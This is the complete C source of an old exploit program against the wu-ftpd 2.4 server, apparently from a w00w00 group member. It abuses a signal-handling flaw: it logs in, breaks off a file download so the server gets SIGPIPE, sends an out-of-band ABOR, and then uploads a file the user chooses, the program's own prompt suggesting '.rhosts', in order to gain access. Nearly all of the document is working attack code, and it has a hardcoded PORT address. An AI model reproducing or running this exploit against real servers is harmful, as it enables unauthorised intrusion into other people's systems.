/* w00w00! */
/* Wuftpd 2.4 signal vulnerability    */
/* 			              */
/* Shok (Matt Conover)		      */
/* shok@sekurity.org, shok@janova.org */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define ERROR    -1
#define FTPPORT  21
#define BACKLOG  1  /* Only the server should be able to connect */
#define NORMAL   0
#define OOB      1
#define TIMEOUT  25 /* How long to wait for server to connect to send */
                    /* us a file.                                     */

struct sockaddr_in their_addr;
int    sockfd, sockfd1, newfd;
char   buf[1024];
char   *file = NULL, file1[256];
u_long p1, p2;

void command(FILE *fd, char *command, int sleeplen, int sleeplen1, int flags);
void receive(FILE *fd, int sleeplen);
void sighandler(int signum);
void usage(char **argv);
void portstuff(int sending);

/* Get rid of those yucky implicit declarations when using -Wall */
unsigned short int getport1();
unsigned int alarm();
unsigned int sleep();
char  *inet_ntoa();
char  *getpass();
void  getport();
int   close();
pid_t fork();

void main(int argc, char **argv)
{
  struct hostent  *he;

  char   *user = NULL, *host = NULL, *port = NULL, *pass = NULL;

  char   user1[20], port1[5], host1[256];
  char   cmd[64];

  FILE   *fd;

  int    status;
  int    opt;

  
  printf("w00w00! ShokXiaFu!\n");
  printf("Wuftpd 2.4 signal sploit.\n\n");
  printf("shok@sekurity.org, shok@janova.org\n");

  /* Get options              */
  while((opt = getopt (argc, argv, "p:u:f:h:")) != EOF)
	switch (opt)
	{
	   case 'p': 
		port = optarg;
		break;

	   case 'u':
		user = optarg;
		break;

	   case 'f':
		file = optarg;
		break;

	   case 'h':
		host = optarg;
		break;

	   case '?':
		usage(argv);

	   default:
		break;
	}

  /* ------------------------ */

  /* Things related to options */
  if (argc < 3) usage(argv);

  if (host != NULL) printf("host is %s\n", host);
  else {
	bzero(host1, sizeof(host1));
	printf("Enter host to run sploit against: ");
	scanf("%256s", host1);	
	host = host1;
  }

  if (user == NULL) {
	bzero(user1, sizeof(user1));
	printf("Enter ftp username: ");
  	scanf("%20s", user1);
	user = user1;
  }

  pass = getpass("Password (of ftp user): ");

  if (file == NULL) {
	printf("Enter file to receive (needed): ");
	scanf("%256s", file1);
	file = file1;
  }

  if (port == NULL) {
	sprintf(port1, "21");
	printf("No port specified, using %s as default port.\n", port1);
 	port = port1;
  } else
	printf("port is %s\n", port);


  if ((he = gethostbyname(host)) == NULL) {
	herror("gethostbyname");
	exit(ERROR);
  }

  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  /* Initialize sockaddr_in structure */
  their_addr.sin_family              = AF_INET;
  if (argc == 2) their_addr.sin_port = htons(FTPPORT);
  else their_addr.sin_port           = htons(atoi(port));
  their_addr.sin_addr                = *((struct in_addr *)he->h_addr);
  bzero(&(their_addr.sin_zero), 8);
  /* -------------------------------- */

  /* Connect to host */
  printf("Connecting to %s (%s).\n\n", 
	he->h_name, (char *)inet_ntoa(their_addr.sin_addr));

  if (connect(sockfd, (struct sockaddr *)&their_addr,
	      sizeof(struct sockaddr)) == ERROR) {
	perror("connect");
	exit(ERROR);
  }
  /* --------------- */

  /* Associate a FILE * with a socket fd */
  if ((fd = fdopen(sockfd, "w+")) == NULL) {
	perror("fdopen");
	close(sockfd);
	exit(ERROR);
  }


  /* Get welcome message */
  receive(fd, 2);

  /* Send USER */
  bzero(cmd, sizeof(cmd));
  sprintf(cmd, "USER %s\n", user);
  command(fd, cmd, 2, 2, NORMAL);

  /* Send PASS */
  bzero(cmd, sizeof(cmd));
  sprintf(cmd, "PASS %s\n", pass);
  command(fd, cmd, 2, 2, NORMAL);

  /* We are now logged in */

  /* Do everything needed to send a PORT and make a data transfer */
  portstuff(0);

  /* We are now waiting for server on user data transfer port */
  /* Send PORT */
  bzero(cmd, sizeof(cmd));
  sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
  command(fd, cmd, 2, 2, NORMAL);

  /* Send RETR */
  bzero(cmd,   sizeof(cmd));
  sprintf(cmd, "RETR %s\n", file);
  command(fd, cmd, 2, 0, NORMAL);

  /* Wait to get 200 characters of the transfer then break, */ 
  /* causing SIGPIPE.                                       */
  /* ------------------------------------------------------ */
  wait((int *)&status);
  
  if (WIFEXITED(status) != 0)
	if(WEXITSTATUS(status) == ERROR) {
		fprintf(stderr, "The child exitted because of an error.\n");
		fprintf(stderr, "Continuing... but may not work right.\n");
	}
  /* ------------------------------------------------------ */

  /* Send ABOR (set it up to send OOB) */
  command(fd, "ABOR\n", 2, 5, OOB);


  /* Do the neccasary things to upload the file */
  /* ------------------------------------------ */

  /* Get file name to upload */
  printf("File to upload (.rhosts, etc.): ");
  scanf("%256s", file1);
  file = file1;

  /* Do everything needed to send a PORT and make a data transfer */
  portstuff(1);

  /* We are now waiting for server on user data transfer port */
  /* Send PORT */
  bzero(cmd, sizeof(cmd));
  sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
  command(fd, cmd, 2, 2, NORMAL);

  /* Send STOR */
  bzero(cmd, sizeof(cmd));
  sprintf(cmd, "STOR %s\n", file);
  command(fd, cmd, 2, 2, NORMAL);

  /* Wait for child to send .rhosts before moving on.       */ 
  /* ------------------------------------------------------ */
  wait((int *)&status);
  
  if (WIFEXITED(status) != 0)
	if(WEXITSTATUS(status) == ERROR) {
		fprintf(stderr, "The child exitted because of an error.\n");
		fprintf(stderr, "Continuing... but may not work right.\n");
	}
  /* ------------------------------------------------------ */

  /* Send QUIT */
  command(fd, "QUIT\n", 3, 5, NORMAL);

  close(sockfd);
  fclose(fd);
}

void usage(char **argv)
{
	fprintf(stderr, "Usage: %s [-h host] [-p port] [-u user] [-f file]\n", argv[0]);
	fprintf(stderr, "host is the host to sploit\n");
	fprintf(stderr, "user is the ftp user name (you will be asked for a password)\n");
	fprintf(stderr, "file is the file to download (you'll see)\n\n"); 
	exit(ERROR);
}

void command(fd, command, sleeplen, sleeplen1, flags)
   FILE *fd;
   char *command;
   int  sleeplen;
   int  sleeplen1;
   int  flags;
{
  /* Send command to ftpd */

  sleep(sleeplen); 
  bzero(buf, sizeof(buf));

  if (flags == OOB)  printf("Sending (as OOB data):  %s", command);
  else               printf("Sending:  %s", command);

  if (flags != OOB) fprintf(fd, command);
  else send(sockfd, "ABOR\n", 5, MSG_OOB);

  receive(fd, sleeplen1);

}

void receive(FILE *fd, int sleeplen)
{
  sleep(sleeplen);

  bzero(buf, sizeof(buf));
  fgets(buf, sizeof(buf) - 1, fd);

  printf("Received: %s", buf);
  putchar('\n');

}

void sighandler(int signum)
{
  close(sockfd1);
  close(sockfd);

  fprintf(stderr, "The client was for the server to connect for %d "
                  "seconds, and so exitting the child (we'll let the "
                  "rest finish anyway).\n", TIMEOUT);
  exit(ERROR);
}



void portstuff(int sending) /* sending = 0 means receiving, sending = 1 */
                            /* means we're sending                      */
{
  int  ssize;
  int  newfd;
  FILE *fd, *fdd;
  int  on = 1, val;
  struct sockaddr_in our_addr, their_addr;

  /* Do all the ugly stuff to receive the data */
  /* ----------------------------------------- */

  /* Get the local address and port number */
  ssize = sizeof(struct sockaddr);
  if (getsockname(sockfd, (struct sockaddr *)&our_addr, 
		  (int *)&ssize) == ERROR) {
	perror("getsockname");
	close(sockfd);
	fclose(fd);
	exit(ERROR);
  }
  /* ------------------------------------- */

  /* Setup everything for user data transfer port */
  if ((sockfd1 = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
	perror("socket");
	close(sockfd);
	fclose(fd);
	exit(ERROR);
  }

  val = setsockopt(sockfd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
                  sizeof(on));

  if (val == ERROR) {
	perror("setsockopt");
	close(sockfd);
        close(sockfd1);
	exit(ERROR);	
  }

  our_addr.sin_port += 2; /* To use the next available port for receiving */
                          /* data.                                        */


  while(1) { /* Little hack to be sure we bind to something */
  	if (bind(sockfd1, (struct sockaddr *)&our_addr, 
	         	sizeof(struct sockaddr)) == ERROR) {
			perror("bind");
			our_addr.sin_port++;
			continue;
	} else
		break;
  }


  /* Send port number to get p1 and p2, send with PORT */
  getport((u_long *)&p1, (u_long *)&p2, htons(our_addr.sin_port)); 
  printf("User data transfer port is: %u\n", getport1(p1, p2));


  if (listen(sockfd1, BACKLOG) == ERROR) {
	perror("listen");
	close(sockfd1);
	close(sockfd);
	exit(ERROR);
  }
  alarm(0);
  signal(SIGALRM, SIG_IGN);

  ssize = sizeof(struct sockaddr_in);

  if (!fork()) {
     /* char path[256]; */
     register int dork = 0;

     /* Set sockfd1 into non block mode */
     signal (SIGALRM, sighandler);

     /* Wait for no more than 20 seconds for server to connect */
     /* after that give up (for example when you try to get a  */
     /* file that isn't there...this will wait forever.        */
     alarm(TIMEOUT); 

     if ((newfd = accept(sockfd1, (struct sockaddr *)&their_addr,
                      &ssize)) == ERROR) {
	perror("accept");
	close(sockfd);
 	close(sockfd1);
	exit(ERROR);
     }

     alarm(0);

     printf("We got our connection from: %s, port: %d\n",
	(char *)inet_ntoa(their_addr.sin_addr.s_addr),
		htons(their_addr.sin_port));

     /* Be sure we are able to write data to a file */
/*   bzero(path, sizeof(path));
     sprintf(path, "/tmp/test/ftp/filewegot");
*/
     if (sending != 1) {
	     if ((fdd = fopen("/tmp/test/ftp/filewegot", "w")) == NULL) {
		perror("fopen");
     	     }
     } else {
	     if ((fdd = fopen(file, "r")) == NULL) {
		perror("open");
		fprintf(stderr, "Continuing anyway...but there may be problems.\n");
	     }		
     }

     if (sending != 1) {
	     if ((fd = fdopen(newfd, "r")) == NULL) {
		perror("fdopen");
	     /*	close(sockfd);
		close(sockfd1);
		close(newfd);
	        fclose(fd);
		fclose(fdd);
		exit(ERROR);
	     */
     	     }
     } else {
	     if ((fd = fdopen(newfd, "w")) == NULL) {
		perror("fdopen");
	     /*	close(sockfd);
		close(sockfd1);
		close(newfd);
	        fclose(fd);
		fclose(fdd);
		exit(ERROR);
	     */
     	     }
     }

     if (sending != 1) {
	     while(dork < 200) {
		char ch;

		if ((ch = fgetc(fd)) != EOF)
			fputc(ch, fdd);
		else {
	     		fclose(fdd);
	     		fclose(fd);
	     		break;
		}

		dork++;
     	     }

	     printf("\nNow interupting data connection (file transfer).\n");
	     fclose(fd);
	     fclose(fdd);
     	     close(newfd);
     	     close(sockfd1);
     } else {
	char ch;

	printf("\nNow sending the file %s to site.\n", file);

	while (1) {
		if ((ch = getc(fdd)) == EOF) break;
		fputc(ch, fd); 	
	}

        fclose(fd);
	fclose(fdd);
	close(newfd);
	close(sockfd1);
     }

     exit(0);
  }
}

    Source: geocities.com/f173s